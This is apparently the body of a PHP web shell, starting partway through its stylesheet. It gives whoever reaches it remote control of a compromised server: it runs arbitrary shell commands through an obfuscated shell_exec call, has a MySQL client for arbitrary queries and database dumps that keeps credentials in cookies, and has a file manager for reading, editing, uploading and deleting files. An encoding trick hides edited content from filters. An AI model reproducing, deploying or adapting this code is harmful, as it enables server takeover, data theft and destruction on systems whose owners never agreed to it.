		.qalin
		{
			text-decoration: none;
			color: #D6905E;
			font-weight: 600;
		}
		.success
		{
			color: #9DB754;
		}
		.bad
		{
			color: #B75654;
		}
		a
		{
			color: #ACB754;
			text-decoration: none !important;
		}
		.fManager,.fManager tbody,.fManager tr
		{
			padding: 0;
			border-collapse: collapse;
			margin: 0;
			font-size: 12px;
		}
		.fManager
		{
			margin: 10px 0;
		}
		.fManager tbody tr:nth-child(2n+1)
		{
			background: #331717;
		}
		.fManager tbody tr:nth-child(2n)
		{
			background: #1C0C0C;
		}
		.fManager tbody tr:hover
		{
			background: #000000;
		}
		.fManager thead th
		{
			text-align: left;
		}
		.fManager thead tr
		{
			background-color: #333333;
		}
		.fManager
		{
			box-shadow: 1px 1px 1px 1px #333333;
		}
		.fManager thead th
		{
			padding: 4px 3px;
		}
		.baca_file
		{
			margin: 5px 0;
			padding: 2px;
			box-shadow: 1px 1px 1px 1px #333333;
			background-color: #E1E1E1;
			width: 100%;
			height: 400px;
			overflow: auto;
		}
		.btn
		{
			border: 1px solid #ACAE40;
			background-color: #223B3B;
			color: #E1E1E1;
			padding: 1px 10px;
			cursor: pointer;
		}
		.btn:disabled
		{
			border: 1px solid #848484;
			color: #848484;
			cursor: not-allowed;
		}
		.file_edit
		{
			margin: 5px 0;
			padding: 2px;
			box-shadow: 1px 1px 1px 1px #333333;
			background-color: #E1E1E1;
			width: 100%;
			height: 400px;
			overflow: auto;
		}
		input, select, textarea
		{
			background: transparent !important;
			color: #f6a56d;
			border: 1px solid #D6905E;
			padding: 5px;
		}
		table td
		{
			border: 1px solid rgba(214, 144, 94, 0.7);
			min-width: 20px;
			padding-left: 5px;
			padding-right: 5px;
			max-width: 500px;
			color: #ffad6f;
			background: #292929;
		}
		table th
		{
			border: 1px solid #D6905E;
			padding-left: 5px;
			padding-right: 5px;
			color: #ffad6f;
		}
		table td div
		{
			overflow: auto;
			width: 100%;
			height: 100%;
			max-height: 100px;
		}
		</style>
		</head>
		<body>
		<?php
		
		if(function_exists('posix_getegid'))
		{
			$qid = posix_getgrgid(posix_getegid());
			$qrup = $qid['name'];
			print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>";
			print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
			print "<span class='qalin'>Group:</span> ".getmygid()." (".$qrup.")<br/>";
		}
		else
		{
			print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>";
			print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
			print "<span class='qalin'>Group:</span> ".getmygid()."<br/>";
		}
		print "<span class='qalin'>Disable functions:</span> " . (implode(", ", $nami)==""?"<span class='success'>NONE :)":"<span class='bad'>". implode(", ", $nami)) . "</span><br/>";
		print "<span class='qalin'>Safe mode: </span>" . ($safeMode===true?"<span class='bad'>On":"<span class='success'>Off") . "</span><span style='margin-left: 50px;'><a href='javascript:halaman(\"?awal=phpinfo\")'>[ PHPinfo ]</a></span><br/>";
		tulisLah();
		print '<hr>';
		if($awal=="phpinfo")
		{
			print "<div style='width: 100%; height: 400px;'><iframe src='?awal=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>";
		}
		else if($awal=="sistem_kom")
		{
			if( isset( $_POST['kom'] ) && is_string($_POST['kom']) && !empty($_POST['kom']) )
			{
				$komanda = uraikan(urldecode($_POST['kom']));
				
				$k = 'sh';
				$k.='el';
				$k.='l_e';
				$k.='xe';
				$k.='c';
		
				$output = $k($komanda);
		
				print '<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">' . htmlspecialchars($output) . '</pre><hr>';
			}
			print '<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Enter</button>';
		}
		else if($awal=="baca_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
		{
			$namaBerkas = basename(uraikan(urldecode($_POST['fayl'])));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
			{
				$elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? " onclick='halaman(\"?awal=edit_file&fayl=".urlencode(urlencode(kunci($namaBerkas)))."&berkas=".urlencode(urlencode(kunci($default_dir)))."\")'" : " disabled";
				print "<div>Nama File: <span class='qalin'>".htmlspecialchars($namaBerkas)."</span><br/><button class='btn'$elaveBtn> Edit </button></div>";
				print "<div class='baca_file'>".highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true)."</div>";
			}
		}
		else if($awal == 'skl')
		{
			$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ';
			$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ';
			$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ';
			$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ';
		
			if( isset($_POST['host'] , $_POST['user'] , $_POST['sandi'])
				&& is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['sandi'])
			)
			{
				$host = $_POST['host'];
				$user = $_POST['user'];
				$sandi = $_POST['sandi'];
				$database = ';
		
				setcookie('host' , $host , time() + 360000);
				setcookie('user' , $user , time() + 360000);
				setcookie('sandi' , $sandi , time() + 360000);
				setcookie('database' , $database , time() + 360000);
			}
		
			if( isset($_POST['database']) && is_string($_POST['database']) )
			{
				$database = $_POST['database'];
		
				setcookie('database' , $database , time() + 360000);
			}
		
			$databaseStr = empty($database) ? ' : 'dbname=' . $database . ';';
		
			?>
			<form method="POST">
				<input type="hidden" name="awal" value="skl">
				<input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
				<input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
				<input type="text" placeholder="Sandi" name="sandi" value="<?=htmlspecialchars($sandi)?>">
				<input type="submit" value="Masuk">
			</form>
			<?php
			if( !empty( $host ) )
			{
				try
				{
					$pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr , $user , $sandi,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
					$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
		
					$schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata');
					print '<form method="POST"><input type="hidden" name="awal" value="skl"><select name="database">';
					foreach($schematas->fetchAll() AS $schemaName)
					{
						print '<option' . ($database == $schemaName['schema_name'] ? ' selected' : ') . '>'.htmlspecialchars($schemaName['schema_name']).'</option>';
					}
					print '</select> <input type="submit" value="Gas!"></form>';
		
					if( !empty($database) )
					{
						$tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
						$tables->execute(array($database));
						$tables = $tables->fetchAll();
		
						print '<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">';
						print '<a href="javascript:halaman('?awal=skl_d');">!! Dump DB !!</a><hr>';
						foreach( $tables AS $tableName )
						{
							$tableName = $tableName['table_name'];
							print '<a href="javascript:halaman('?awal=skl&t=' . urlencode(urlencode(kunci($tableName))) . '')">'.htmlspecialchars($tableName).'</a><br>';
						}
						print '</div>';
						print '<div style="float: left; padding-left: 10px; width: 75%;">';
		
						if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) )
						{
							$tableName = uraikan(urldecode($_POST['t']));
							print '<span class="qalin">Table:</span> ' . htmlspecialchars($tableName) . ' ( <a href="javascript:halaman('?awal=skl_d_t&t='.urlencode(urlencode(kunci($tableName))).'')">Dump</a> )<br>';
		
							$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
							$getColumns->execute(array($database , $tableName));
							$columns = $getColumns->fetchAll();
		
							if( $columns )
							{
								$dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`');
								$dataCount = (int)$dataCount->fetchColumn();
		
								print '<span class="qalin">Count:</span> ' . $dataCount . '<br><br>';
		
								$pages = ceil($dataCount / 100);
		
								$currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1;
		
								for (  $p = 1; $p <= $pages; $p++ )
								{
									print '<a style="'.($currentPage == $p ? 'background: #444;' : ').'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:halaman('?awal=skl&t=' . urlencode(urlencode(kunci($tableName))) . '&halaman=' . $p . '');">' . $p . '</a> ';
								}
								print '<br><br>';
		
								$start = 100 * ($currentPage - 1);
		
								$data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100');
								$data = $data->fetchAll();
								print '<table><thead>';
		
								foreach( $columns AS $columnInf )
								{
									print '<th>' . htmlspecialchars($columnInf['column_name']) . '</th>';
								}
		
								print '</thead><tbody>';
		
								foreach( $data AS $row )
								{
									print '<tr>';
									foreach( $row AS $key=>$val )
									{
										print '<td><div>' . $val . '</div></td>';
									}
									print '</tr>';
								}
								print '</tr></tbody></table>';
							}
							else
							{
								print 'Table not found!';
							}
						}
						else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) )
						{
							$emr = uraikan(urldecode($_POST['emr']));
							print '<span class="qalin">SQL emr:</span> ' . htmlspecialchars($emr) . '<br>';
							
							$data = $pdo->query( $emr );
							$data = $data->fetchAll();
							
							print '<table><thead>';
							if( count($data) > 0 )
							{
								print '<tr>';
								foreach( $data[0] AS $key=>$val )
								{
									print '<th><div>' . $key . '</div></th>';
								}
								print '</tr>';
							}
							print '</thead><tbody>';
							
							foreach( $data AS $row )
							{
								print '<tr>';
								foreach( $row AS $key=>$val )
								{
									print '<td><div>' . $val . '</div></td>';
								}
								print '</tr>';
							}
							print '</tr></tbody></table>';
						}
						
						print '<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Klik</button></div>';
						
						print '</div>';
						print '<div style="clear: both;"></div>';
					}
				}
				catch (Exception $e)
				{
					print $e->getMessage();
				}
			}
		}
		else if($awal=="edit_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
		{
			$namaBerkas = basename(uraikan(urldecode(urldecode($_POST['fayl']))));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
			{
				$status = "";
				if(isset($_POST['content']) && isset($_POST['took']) && $_POST['took']!="" && isset($_SESSION['ys_took']) && $_SESSION['ys_took']==$_POST['took'] && is_writeable($default_dir . $pemisah . $namaBerkas))
				{
					unset($_SESSION['ys_took']);
					$content = $_POST['content'];
		
					$cc =  array('a','i','e','s','l','b','u','o','p','h',"(",")","<",">","?",";","[","]","$");
					foreach($cc AS $k1=>$v1)
					{
						$content = str_replace('|:'.$k1.':|' , $v1 , $content);
					}
		
					$faylAch = fopen($default_dir . $pemisah . $namaBerkas, "w+");
					fwrite($faylAch, $content);
					fclose($faylAch);
					$status = " <span class='qalin'>Berhasil disimpan!</span>";
				}
				$oxuUrl = "?awal=baca_file&fayl=".urlencode(urlencode(kunci($namaBerkas)))."&berkas=".urlencode(urlencode(kunci($default_dir)));
				$elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? "" : " disabled";
				print "<div>Nama File: <a class='qalin' href='javascript:halaman(\"{$oxuUrl}\")'>".htmlspecialchars($namaBerkas)."</a><br/><form method='POST' style='padding: 0; margin: 0;'><button type='submit' class='btn'$elaveBtn> Simpan </button> <button type='button' onclick='kode()'> Enkripsi </button> $status</div>";
				print "<input type='hidden' value='edit_file' name='awal'><input type='hidden' value='".kunci($namaBerkas)."' name='fayl'><input type='hidden' value='".urlencode(kunci($default_dir))."' name='berkas'><input type='hidden' value='".ambilBuat("ys_took")."' name='took'><textarea name='content' class='file_edit'>".htmlspecialchars(file_get_contents($default_dir . $pemisah . $namaBerkas))."</textarea></form>";
			}
			else
			{
				print 'Error! ' .  htmlspecialchars($default_dir . $pemisah . $namaBerkas);
			}
		}
		else
		{
			if(is_dir($default_dir))
			{
				if(is_readable($default_dir))
				{
					$folderDalam = scandir($default_dir);
					foreach($folderDalam AS &$emelemnt)
					{
						$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : "";
						if(is_dir($default_dir . $pemisah . $emelemnt))
						{
							$emelemnt = "0".$emelemnt;
						}
						else
						{
							$emelemnt = "1".$emelemnt;
						}
					}
					asort($folderDalam);
					print "<table class='fManager' style='width: 100%;'><thead><tr class='qalin'><th>s</th><th>File</th><th>Size</th><th>Tanggal</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>";
					foreach($folderDalam AS $element)
					{
						$url = "";
						$element = substr($element,1);
						$fileNamaLengkap = $default_dir . $pemisah . $element;
						$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : "";
						$adi = is_dir($fileNamaLengkap) ? "[ $element ]" : $element;
						$classN = "";
						if(is_dir($fileNamaLengkap))
						{
							if($element==".")
							{
								$url = "?berkas=".urlencode(urlencode(kunci($default_dir)));
							}
							else if($element=="..")
							{
								$yeniUrl = explode("/",$default_dir);
								foreach(array_reverse($yeniUrl) AS $j=>$qq)
								{
									if(trim($qq)!="")
									{
										unset($yeniUrl[count($yeniUrl)-$j-1]);
										break;
									}
								}
								$url = "?berkas=".urlencode(urlencode(kunci(implode("/",$yeniUrl))));
							}
							else
							{
								$url = "?berkas=".urlencode(urlencode(kunci($fileNamaLengkap)));
							}
							$classN = " style='font-weight: 600;'";
						}
						else
						{
							$url = "?awal=baca_file&fayl=".urlencode(urlencode(kunci($element)))."&berkas=".urlencode(urlencode(kunci($default_dir)));
						}
						$fayldi = is_file($fileNamaLengkap);
						$isReadableColor = is_readable( $fileNamaLengkap ) && is_writeable( $fileNamaLengkap );
						print '<tr>
								<td></td>
								<td><a href="javascript:halaman('.$url.'')"'.$classN.'>'.htmlspecialchars($adi).'</a></td>
								<td>' . ($fayldi?sizeFormat(filesize($fileNamaLengkap)):') . '</td>
								<td>' . (date('d M Y, H:i' , filectime($fileNamaLengkap))) . '</td>
								<td>' . htmlspecialchars(fileowner($fileNamaLengkap)) . '</td>
								<td' . ($isReadableColor?' style="color: green;"':') . '>' . substr(sprintf('%o', fileperms(( $fileNamaLengkap ))), -4) . '</td>
								<td>';
								if( is_file($fileNamaLengkap) )
								{
									print (' <a href="javascript:halaman('.str_replace("baca_file","download_file",$url).'')"'.$classN.'>Download</a> | ') .
										(' <a href="javascript:changeFileName(' . htmlspecialchars($adi) . '' , '.str_replace("baca_file","rename_file",$url).'');"'.$classN.'>Rename</a> | ') .
										(' <a href="javascript:faylSifirla('.str_replace("baca_file","reset_file",$url).'');"'.$classN.'>Kosong</a> | ') .
										(' <a href="javascript:faylSil('.str_replace("baca_file","hapus_file",$url).'')"'.$classN.'>Delete</a>');
								}
								else if( $adi != '[ . ]' && $adi != '[ .. ]' )
								{
									print (' <a href="javascript:kompres(' . urlencode(urlencode(kunci($fileNamaLengkap))) . '')"'.$classN.'>Zip</a> | ') .
										(' <a href="javascript:silPapka(' . urlencode(urlencode(kunci($fileNamaLengkap))) . '')"'.$classN.'>Hapus</a>');
								}
								print '</td>
							</tr>';
					}
				}
				else
				{
					print "<div style='margin: 10px 0px;' class='qalin'>Permissions denided!</div>";
				}
			}
		}
		print "</tbody></table>";
		?>
		
		<hr>
		<a href="javascript:newFile();">File Baru</a> | <a href="javascript:newPapka();">Folder Baru</a><br>
		<a href="javascript:halaman('?awal=sistem_kom&berkas=<//?=urlencode(urlencode(kunci($default_dir)))?>')">Command</a><br>
		<a href="javascript:halaman('?awal=skl');">SQL</a><br>
		
		<form method="POST" enctype="multipart/form-data">
			<input type="hidden" name="awal" value="upl_file">
			<input type="hidden" name="berkas" value="<?//=urlencode(kunci($default_dir))?>">
			<input type="file" name="ufile">
			<input type="submit" value="Upl">
		</form>
		
		<form method="POST" id="post_form" style="display: none;"></form>
		<script>
		function halaman(url)
		{
			var inputlar = "";
			url = url.split("?");
			if(typeof url[1]=="undefined") return;
			url = url[1].split("&");
			for(var n in url)
			{
				var keyAndValue = url[n].split("=");
				if(typeof keyAndValue[1]=="undefined") continue;
				inputlar+="<input name='"+keyAndValue[0]+"' value='"+keyAndValue[1]+"' type='hidden'>";
			}
			document.all("post_form").innerHTML = inputlar;
			document.all("post_form").submit();
		}
		function faylSil(url)
		{
			if( confirm('Anda yakin?') )
			{
				halaman(url);
			}
		}
		function faylSifirla(url)
		{
			if( confirm('Anda yakin?') )
			{
				halaman(url);
			}
		}
		function changeFileName(name, url)
		{
			var getNewName = prompt('Change file name:' , name);
			if( getNewName )
			{
				halaman(url + "&new_name=" + getNewName);
			}
		}
		function newFile()
		{
			var getNewName = prompt('File name:');
			if( getNewName )
			{
				halaman("?awal=buat_file&ad=" + getNewName + "&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>");
			}
		}
		function newPapka()
		{
			var getNewName = prompt('File name:');
			if( getNewName )
			{
				halaman("?awal=buat_folder&ad=" + getNewName + "&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>");
			}
		}
		function sistemKom()
		{
			var komanda = document.getElementById('emr_et_atash').value;
			if( komanda )
			{
				halaman("?awal=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>");
			}
		}
		function skl_bas()
		{
			var sklEmr = document.getElementById('skl_emr').value;
			
			halaman("?awal=skl&emr=" + b64EncodeUnicode(sklEmr));
		}
		function b64EncodeUnicode(str)
		{
			return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
				function toSolidBytes(match, p1) {
					return String.fromCharCode('0x' + p1);
				}));
		}
		function goto()
		{
			var dir = prompt('Dir:');
			if( dir )
			{
				halaman("?berkas=" + dir);
			}
		}
		function kompres(berkas)
		{
			var dir = prompt('Dir:' , "<?=htmlspecialchars($default_dir)?>");
			if( dir )
			{
				halaman("?awal=kompres&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>&zf=" + berkas + "&save_to=" + b64EncodeUnicode(dir))
			}
		}
		function silPapka(berkas)
		{
			if( confirm('Anda yakin?') )
			{
				halaman("?awal=hapus_folder&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>&zf=" + berkas)
			}
		}
		function kode()
		{
			var vall = document.getElementsByClassName('file_edit')[0].value;
			var repp = ['a','i','e','s','l','b','u','o','p','h',"\(","\)","\<","\>","\?","\;","\[","\]","\$"];
			for(var s in repp)
			{
				var h = repp[s];
				vall = vall.replace(new RegExp(h, 'g') , '|:'+s+':|');
			}
		
			document.getElementsByClassName('file_edit')[0].value = vall;
		}
		
		document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
		{
			event.preventDefault();
			if (event.keyCode === 13)
			{
				sistemKom();
			}
		});
		</script>
		</body>
		</html>
		
		?>